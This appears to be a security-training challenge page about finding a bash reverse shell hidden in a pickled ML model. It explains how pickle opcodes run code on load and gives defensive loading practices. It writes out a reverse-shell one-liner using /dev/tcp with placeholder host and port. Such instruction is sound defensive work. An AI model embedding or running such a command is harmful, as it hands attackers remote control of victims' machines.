The Model That Phoned Home: A Reverse Shell Hidden in a Pickle

Digital Forensics & IR Level 2/4 ~3 min November 4, 2026

The challenge

A model from a public hub runs code on load. Read the pickle opcodes in its raw bytes. Find the IP:port its hidden shell dials.

What you'll learn

  • Explain why loading a pickle can run arbitrary code
  • Read STACK_GLOBAL, TUPLE1 and REDUCE in a raw pickle stream
  • Tell a string the pickle calls from one it only stores
  • Recognise a bash /dev/tcp reverse shell and extract its IP and port
  • Name the safe ways to load third-party model weights

Skills tested

Malware triageReading a hex/ASCII dumpInsecure deserialization

Prerequisites

  • Reading an ASCII column in a hex view
  • What a Python function call is

How it works

Python's pickle format is a list of instructions for a small stack machine. Loading a pickle executes those instructions to rebuild the saved objects, and the format lets an object say how to rebuild itself: "import this function, call it with these arguments". In the bytes that is STACK_GLOBAL (0x93), which imports a function named by the two strings before it, then REDUCE (0x52), which calls it.

Nothing restricts which function. A model file that does posix.system (the module behind os on Linux) runs a shell command on the machine of whoever loads it, and it does so while the file is still being read, before any weight is used. The bash form /dev/tcp/HOST/PORT opens a TCP connection, so bash -i >& /dev/tcp/HOST/PORT 0>&1 is a reverse shell: the victim's terminal, connected out to the attacker.

In early 2024 JFrog reported around a hundred models on Hugging Face carrying code like this, including a PyTorch model that opened a reverse shell to a hard-coded IP as soon as it was loaded. In 2025 ReversingLabs showed pickles deliberately broken after the payload, so the payload ran while popular scanners failed to parse the rest.

Common mistakes

  • Answering the tracking_uri. 203.0.113.17:5000 is a stored string: after it comes a MEMOIZE and the next key, never a REDUCE. Only the string handed to REDUCE runs.
  • Answering the hub. tensorhub.example is where the model was downloaded from, not where the shell connects.
  • Losing the port at the row break. The string wraps: /44 ends one row and 44 starts the next. The port is 4444.
  • Dropping the port. /dev/tcp/HOST/PORT carries both; the answer is IP:port.
  • Reading the weights as opcodes. After 42 (BINBYTES) and its 4-byte length, everything is raw float data; a 2E in there is not a STOP.

How to defend against it

Never unpickle a model you did not produce.

  • Distribute and load weights as safetensors, a format that holds tensors and nothing executable.
  • With PyTorch, load with torch.load(path, weights_only=True) (the default since PyTorch 2.6) and do not override it for a downloaded file.
  • Inspect an untrusted pickle with python -m pickletools model.pkl or a model scanner, which disassemble without executing, and treat any GLOBAL/STACK_GLOBAL outside the expected tensor helpers as hostile. Scanners can be evaded, so this is a filter, not a guarantee.
  • Open unvetted models in a sandbox or container with no outbound network, so a payload that runs anyway cannot reach its server.

Full solution

Pro and Max members unlock the complete step-by-step walkthrough.

Go Pro

Community stats

191 completions
86% success rate
M2F14M3 First blood

Related Daily Hacks

36,000+ Hackers Real labs Free
Start Hacking Free or solve today's hack, no account needed